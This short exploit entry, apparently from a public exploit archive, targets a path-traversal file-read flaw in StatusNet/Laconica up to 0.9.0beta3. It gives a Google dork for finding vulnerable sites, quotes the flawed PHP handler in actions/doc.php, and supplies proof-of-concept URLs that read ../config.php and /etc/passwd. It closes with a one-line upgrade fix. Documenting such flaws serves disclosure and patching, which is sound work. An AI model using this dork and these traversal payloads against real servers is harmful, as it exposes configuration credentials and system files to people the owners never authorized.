+-------------------------------------------------------------------------------+ + StatusNet/Laconica <= 0.7.4, <= 0.8.2, <= 0.9.0beta3 - arbitrary file reading + +-------------------------------------------------------------------------------+ # Date: - 10/10/2013 # Exploit Author: - spiderboy # Vendor Homepage: - http://status.net/ # Software Links: - http://status.net/laconica-0.7.4.tar.gz - http://status.net/statusnet-0.8.2.tar.gz - http://status.net/statusnet-0.9.0beta3.tar.gz # Version: - Branch 0.7.X : <= 0.7.4 - Branch 0.8.X : <= 0.8.2 - Branch 0.9.X : <= 0.9.0beta3 # Tested on: - Unix/Linux # Category: - Webapps # Platform: - php # Advisories : - http://status.net/wiki/Security_alert_0000002 - http://osvdb.org/show/osvdb/95586 # Google Dork: - "It runs the StatusNet microblogging software, version 0.8.2" # Vendor product description: - Free and Open Source social software # Vulnerable code: - actions/doc.php: -------------------------------------------------------------------- function handle($args) { parent::handle($args); $this->title = $this->trimmed('title'); $this->filename = INSTALLDIR.'/doc-src/'.$this->title; //[1] if (!file_exists($this->filename)) { $this->clientError(_('No such document.')); return; } $this->showPage(); } -------------------------------------------------------------------- [1] : No check on user-supplied parameter $this->title # Proof of concept: - http://[host]/index.php?action=doc&title=../config.php - http://[host]/index.php?action=doc&title=../../../../../../../../etc/passwd # Solution: - Upgrade to latest version : http://status.net/download